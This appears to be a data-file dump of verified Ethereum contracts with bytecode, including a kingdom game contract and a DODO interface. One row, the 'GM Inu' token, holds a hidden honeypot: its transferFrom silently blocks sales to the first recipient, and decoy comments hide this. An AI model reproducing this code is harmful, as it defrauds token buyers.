}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
struct Round {
Jackpot globalJackpot;
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.01 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
// MODIFIERS
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress) {
bookerAddress = _bookerAddress;
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = 1523916000;
rounds[currentRound].endTime = rounds[currentRound].startTime + 7 days;
rounds[currentRound].globalJackpot = Jackpot(address(0), 0);
}
function () { }
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 8; i++) {
if (now < rounds[currentRound].startTime + (i * 24 hours)) {
uint result = (25 * i);
if (result > 125) {
return 125;
} else {
return result;
}
}
}
}
function setTypedJackpotWinner(address _user, uint _type) internal {
if (_type == 1) {
if (rounds[currentRound].jackpot1.winner == address(0)) {
rounds[currentRound].jackpot1.winner = _user;
} else if (rounds[currentRound].nbKingdomsType1[_user] >= rounds[currentRound].nbKingdomsType1[rounds[currentRound].jackpot1.winner]) {
rounds[currentRound].jackpot1.winner = _user;
}
} else if (_type == 2) {
if (rounds[currentRound].jackpot2.winner == address(0)) {
rounds[currentRound].jackpot2.winner = _user;
} else if (rounds[currentRound].nbKingdomsType2[_user] >= rounds[currentRound].nbKingdomsType2[rounds[currentRound].jackpot2.winner]) {
rounds[currentRound].jackpot2.winner = _user;
}
} else if (_type == 3) {
if (rounds[currentRound].jackpot3.winner == address(0)) {
rounds[currentRound].jackpot3.winner = _user;
} else if (rounds[currentRound].nbKingdomsType3[_user] >= rounds[currentRound].nbKingdomsType3[rounds[currentRound].jackpot3.winner]) {
rounds[currentRound].jackpot3.winner = _user;
}
} else if (_type == 4) {
if (rounds[currentRound].jackpot4.winner == address(0)) {
rounds[currentRound].jackpot4.winner = _user;
} else if (rounds[currentRound].nbKingdomsType4[_user] >= rounds[currentRound].nbKingdomsType4[rounds[currentRound].jackpot4.winner]) {
rounds[currentRound].jackpot4.winner = _user;
}
} else if (_type == 5) {
if (rounds[currentRound].jackpot5.winner == address(0)) {
rounds[currentRound].jackpot5.winner = _user;
} else if (rounds[currentRound].nbKingdomsType5[_user] >= rounds[currentRound].nbKingdomsType5[rounds[currentRound].jackpot5.winner]) {
rounds[currentRound].jackpot5.winner = _user;
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
uint jackpotSplitted = jackpotCommission.mul(50).div(100);
round.globalJackpot.balance = round.globalJackpot.balance.add(jackpotSplitted);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
} else {
kingdom.returnPrice = kingdom.minimumPrice.mul(2);
kingdom.minimumPrice = kingdom.minimumPrice.add(kingdom.minimumPrice.mul(2));
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
setNewJackpot(kingdom.kingdomType, jackpotSplitted, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
setNewWinner(msg.sender, kingdomType);
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
function giveKingdom(address owner, string _key, string _title, uint _type) onlyOwner() public {
require(_type > 0);
require(_type < 6);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, 0.02 ether, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = 0.03 ether;
kingdoms[kingdomId].locked = false;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, 0.01 ether, 0, 0)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
}
//
// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(address owner, string _key, string _title, uint _type, bool _locked) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint refundPrice = STARTING_CLAIM_PRICE_WEI.mul(2);
uint nextMinimumPrice = STARTING_CLAIM_PRICE_WEI.add(refundPrice);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
asyncSend(bookerAddress, ACTION_TAX);
uint jackpotSplitted = basePrice.mul(50).div(100);
rounds[currentRound].globalJackpot.balance = rounds[currentRound].globalJackpot.balance.add(jackpotSplitted);
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
setNewJackpot(_type, jackpotSplitted, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot(uint _type) public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
if (_type == 1 && finishedRound.jackpot1.winner != address(0) && finishedRound.jackpot1.balance > 0) {
require(this.balance >= finishedRound.jackpot1.balance);
uint jackpot1TeamComission = (finishedRound.jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot1TeamComission);
asyncSend(finishedRound.jackpot1.winner, finishedRound.jackpot1.balance.sub(jackpot1TeamComission));
finishedRound.jackpot1.balance = 0;
} else if (_type == 2 && finishedRound.jackpot2.winner != address(0) && finishedRound.jackpot2.balance > 0) {
require(this.balance >= finishedRound.jackpot2.balance);
uint jackpot2TeamComission = (finishedRound.jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot2TeamComission);
asyncSend(finishedRound.jackpot2.winner, finishedRound.jackpot2.balance.sub(jackpot2TeamComission));
finishedRound.jackpot2.balance = 0;
} else if (_type == 3 && finishedRound.jackpot3.winner != address(0) && finishedRound.jackpot3.balance > 0) {
require(this.balance >= finishedRound.jackpot3.balance);
uint jackpot3TeamComission = (finishedRound.jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot3TeamComission);
asyncSend(finishedRound.jackpot3.winner, finishedRound.jackpot3.balance.sub(jackpot3TeamComission));
finishedRound.jackpot3.balance = 0;
} else if (_type == 4 && finishedRound.jackpot4.winner != address(0) && finishedRound.jackpot4.balance > 0) {
require(this.balance >= finishedRound.jackpot4.balance);
uint jackpot4TeamComission = (finishedRound.jackpot4.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot4TeamComission);
asyncSend(finishedRound.jackpot4.winner, finishedRound.jackpot4.balance.sub(jackpot4TeamComission));
finishedRound.jackpot4.balance = 0;
} else if (_type == 5 && finishedRound.jackpot5.winner != address(0) && finishedRound.jackpot5.balance > 0) {
require(this.balance >= finishedRound.jackpot5.balance);
uint jackpot5TeamComission = (finishedRound.jackpot5.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, jackpot5TeamComission);
asyncSend(finishedRound.jackpot5.winner, finishedRound.jackpot5.balance.sub(jackpot5TeamComission));
finishedRound.jackpot5.balance = 0;
}
if (finishedRound.globalJackpot.winner != address(0) && finishedRound.globalJackpot.balance > 0) {
require(this.balance >= finishedRound.globalJackpot.balance);
uint globalTeamComission = (finishedRound.globalJackpot.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, globalTeamComission);
asyncSend(finishedRound.globalJackpot.winner, finishedRound.globalJackpot.balance.sub(globalTeamComission));
finishedRound.globalJackpot.balance = 0;
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound(uint _startTime) public checkIsClosed() {
Round storage finishedRound = rounds[currentRound];
require(finishedRound.globalJackpot.balance == 0);
require(finishedRound.jackpot5.balance == 0);
require(finishedRound.jackpot4.balance == 0);
require(finishedRound.jackpot3.balance == 0);
require(finishedRound.jackpot2.balance == 0);
require(finishedRound.jackpot1.balance == 0);
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _startTime + 7 days;
delete kingdoms;
delete kingdomTransactions;
}
// GETTER AND SETTER FUNCTIONS
function setNewWinner(address _sender, uint _type) internal {
if (rounds[currentRound].globalJackpot.winner == address(0)) {
rounds[currentRound].globalJackpot.winner = _sender;
} else {
if (rounds[currentRound].nbKingdoms[_sender] == rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
if (rounds[currentRound].nbTransactions[_sender] > rounds[currentRound].nbTransactions[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
} else if (rounds[currentRound].nbKingdoms[_sender] > rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
}
setTypedJackpotWinner(_sender, _type);
}
function getJackpot(uint _nb) public view returns (address winner, uint balance, uint winnerCap) {
Round storage round = rounds[currentRound];
if (_nb == 1) {
return (round.jackpot1.winner, round.jackpot1.balance, round.nbKingdomsType1[round.jackpot1.winner]);
} else if (_nb == 2) {
return (round.jackpot2.winner, round.jackpot2.balance, round.nbKingdomsType2[round.jackpot2.winner]);
} else if (_nb == 3) {
return (round.jackpot3.winner, round.jackpot3.balance, round.nbKingdomsType3[round.jackpot3.winner]);
} else if (_nb == 4) {
return (round.jackpot4.winner, round.jackpot4.balance, round.nbKingdomsType4[round.jackpot4.winner]);
} else if (_nb == 5) {
return (round.jackpot5.winner, round.jackpot5.balance, round.nbKingdomsType5[round.jackpot5.winner]);
} else {
return (round.globalJackpot.winner, round.globalJackpot.balance, round.nbKingdoms[round.globalJackpot.winner]);
}
}
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getKingdomInformations(string kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.locked);
}
} | 0x | {"success": true, "error": null, "results": {}} | 1,469 |
0x2a96b76c0cf7f2969d312c31c33e0ab4c3105205 | /**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/*
*******
/*
______ ____ ____ _____ ____ _____ _____ _____
.' ___ ||_ \ / _| |_ _||_ \|_ _||_ _||_ _|
/ .' \_| | \/ | | | | \ | | | | | |
| | ____ | |\ /| | | | | |\ \| | | ' ' |
\ `.___] |_| |_\/_| |_ _| |_ _| |_\ |_ \ \__/ /
`._____.'|_____||_____| |_____||_____|\____| `.__.'
*/
//SPDX-License-Identifier: UNLICENSED
//To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "GM INU";
name = "GM Inu";
decimals = 9;
_totalSupply = 1000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
} | 0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610375578063d4ee1d901461043d578063dd62ed3e14610452578063f2fde38b1461048d576100f3565b806381f4f399146102df5780638da5cb5b1461031257806395d89b4114610327578063a9059cbb1461033c576100f3565b806323b872dd116100c657806323b872dd14610227578063313ce5671461026a57806370a082311461029557806379ba5097146102c8576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf5780631ee59f20146101f6575b600080fd5b34801561010457600080fd5b5061010d6104c0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b03813516906020013561054e565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46105b5565b60408051918252519081900360200190f35b34801561020257600080fd5b5061020b6105f8565b604080516001600160a01b039092168252519081900360200190f35b34801561023357600080fd5b506101bb6004803603606081101561024a57600080fd5b506001600160a01b03813581169160208101359091169060400135610607565b34801561027657600080fd5b5061027f6107ab565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b506101e4600480360360208110156102b857600080fd5b50356001600160a01b03166107b4565b3480156102d457600080fd5b506102dd6107cf565b005b3480156102eb57600080fd5b506102dd6004803603602081101561030257600080fd5b50356001600160a01b031661084a565b34801561031e57600080fd5b5061020b610883565b34801561033357600080fd5b5061010d610892565b34801561034857600080fd5b506101bb6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356108ea565b34801561038157600080fd5b506101bb6004803603606081101561039857600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103c857600080fd5b8201836020820111156103da57600080fd5b803590602001918460018302840111640100000000831117156103fc57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ee945050505050565b34801561044957600080fd5b5061020b610b36565b34801561045e57600080fd5b506101e46004803603604081101561047557600080fd5b506001600160a01b0381358116916020013516610b45565b34801561049957600080fd5b506102dd600480360360208110156104b057600080fd5b50356001600160a01b0316610b70565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df546005546105f39163ffffffff610ba916565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061062a57506006546001600160a01b0316155b1561064f57600680546001600160a01b0319166001600160a01b0385161790556106a0565b6006546001600160a01b03848116911614156106a0576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106c9908363ffffffff610ba916565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610706908363ffffffff610ba916565b6001600160a01b03808616600090815260086020908152604080832033845282528083209490945591861681526007909152205461074a908363ffffffff610bbe16565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b031633146107e657600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461086157600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b6006546000906001600160a01b038481169116141561093e576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b3360009081526007602052604090205461095e908363ffffffff610ba916565b33600090815260076020526040808220929092556001600160a01b03851681522054610990908363ffffffff610bbe16565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b8757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610bb857600080fd5b50900390565b818101828110156105af57600080fdfea265627a7a7231582012aaad8098f85ebaf000401df46fca8b33f4b850f547ce6cf1a88e34cc108c3764736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,470 |
0x45a7e2e9d780613e047f7e78a9d3902ff854b522 | /**
*Submitted for verification at Etherscan.io on 2021-08-07
*/
// File: contracts/SmartRoute/intf/IDODOV2.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
